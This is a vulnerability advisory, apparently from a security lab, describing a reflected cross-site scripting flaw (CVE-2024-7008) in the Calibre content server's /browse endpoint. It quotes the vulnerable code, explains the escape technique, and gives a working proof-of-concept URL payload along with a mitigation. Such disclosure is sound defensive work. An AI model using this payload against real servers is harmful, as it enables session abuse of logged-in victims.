Summary
Product | Calibre |
---|---|
Vendor | Calibre |
Severity | Medium |
Affected Versions | <= 7.15.0 (latest version as of writing) |
Tested Versions | 7.15.0 |
CVE Identifier | CVE-2024-7008 |
CWE Classification(s) | CWE-79 Improper Neutralization of Input During Web Page Generation (XSS or ‘Cross-site Scripting’) |
CAPEC Classification(s) | CAPEC-591 Reflected XSS |
CVSS3.1 Scoring System
Base Score: 5.4 (Medium)
Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N
Metric | Value |
---|---|
Attack Vector (AV) | Network |
Attack Complexity (AC) | Low |
Privileges Required (PR) | None |
User Interaction (UI) | Required |
Scope (S) | Unchanged |
Confidentiality (C) | Low |
Integrity (I) | Low |
Availability (A) | None |
Product Overview
Calibre is a cross-platform free and open-source suite of e-book software. Calibre supports organizing existing e-books into virtual libraries, displaying, editing, creating and converting e-books, as well as syncing e-books with a variety of e-readers. Editing books is supported for EPUB and AZW3 formats. Books in other formats like MOBI must first be converted to those formats, if they are to be edited. Calibre also has a large collection of community contributed plugins.
Calibre also offers a powerful content server feature. This allows users to share their Calibre libraries over the internet, making it easy to access your e-book collection from anywhere, at any time.
Vulnerability Summary
It is possible to inject arbitrary JavaScript code into the /browse
endpoint of the Calibre content server, allowing an attacker to craft a URL that when clicked by a victim, will execute the attacker’s JavaScript code in the context of the victim’s browser. If the Calibre server is running with authentication enabled and the victim is logged in at the time, this can be used to cause the victim to perform actions on the Calibre server on behalf of the attacker.
Vulnerability Details
In src/calibre/srv/legacy.py
, the browse
endpoint is defined as follows:
@endpoint('/browse/{+rest=""}')
def browse(ctx, rd, rest):
if rest.startswith('book/'):
# implementation of https://bugs.launchpad.net/calibre/+bug/1698411
# redirect old server book URLs to new URLs
redirect = ctx.url_for(None) + '#book_id=' + rest[5:] + "&panel=book_details"
from lxml import etree as ET
return html(ctx, rd, endpoint,
E.html(E.head(
ET.XML('<meta http-equiv="refresh" content="0;url=' + redirect + '"/>'), # [1]
ET.XML('<script language="javascript">' +
'window.location.href = "' + redirect + '"' + # [2]
'</script>'
))))
else:
raise HTTPRedirect(ctx.url_for(None))
As can be seen from the code, if a user navigates to a URL of the form /browse/book/123
, the server will insert the content after book/
straight into a variable redirect
, followed by directly concatenating this variable into a meta refresh tag at [1] and a JavaScript redirect at [2] through the use of lxml’s etree.XML()
function, without performing any sanitisation. The injection at [1] was not found to be exploitable as most attempts would result in malformed XML that would cause etree to raise an exception. However, the injection at [2] was found to be exploitable, due to lxml’s behaviour of expanding the "
entity into "
before serialising the XML tree into a string.
>>> from lxml import etree
>>> etree.tostring(etree.XML("<script>"</script>"))
b'<script>"</script>'
Thus, we can use "
to escape the string assignment and inject arbitrary JavaScript code into the page. This can be used to perform a reflected cross-site scripting attack.
Proof-of-Concept
Browse to the following URL, where CALIBRE_SERVER is the address of the Calibre server:
http://CALIBRE_SERVER/browse/book/TEST";window.stop();alert(document.location);%2f%2f
Note that the alert is executed in the context of the Calibre server’s origin:
The resulting HTML shows that the "
entity was expanded into "
, thus enabling the injection:
<!DOCTYPE html>
<html><head>
<meta http-equiv="refresh" content='0;url=/#book_id=TEST";window.stop();alert(document.location);//&panel=book_details'>
<script language="javascript">window.location.href = "/#book_id=TEST";window.stop();alert(document.location);//&panel=book_details"</script>
</head></html>
Suggested Mitigations
Ensure that user input is safe before being used in the generation of HTML content. In this case, it appears that book IDs can only be digits, so it should suffice to ensure that the input is a digit before using it to generate the HTML.
Credits
Devesh Logendran of STAR Labs SG Pte. Ltd. (@starlabs_sg)